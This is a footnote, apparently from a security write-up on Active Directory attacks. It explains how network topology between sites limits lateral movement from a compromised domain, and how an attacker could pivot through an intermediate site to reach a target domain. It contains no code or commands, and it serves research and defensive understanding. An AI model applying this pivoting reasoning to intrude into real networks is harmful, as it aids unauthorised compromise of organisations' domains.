- 2. For instance, let us assume a three-sites topology. Site A is linked to site B, and site A is linked to site C. Sites B and C are transitively linked through site A, that is acting as an interim site. In that case, there is a possibility, if all the domain controllers of a domain are located in site B, and all the domain controllers of another domain are located in site C, that no network link exists between the domain controllers of the two domains (as replication happens through site A). Direct lateral movement from the compromised domain in site B to the target domain in site C may then not be possible through the technique presently described, as the target domain controllers may not have network connectivity to the compromised domain controllers. However, it would always be possible to leverage the technique to compromise site A from site B, before finally pivoting to site C.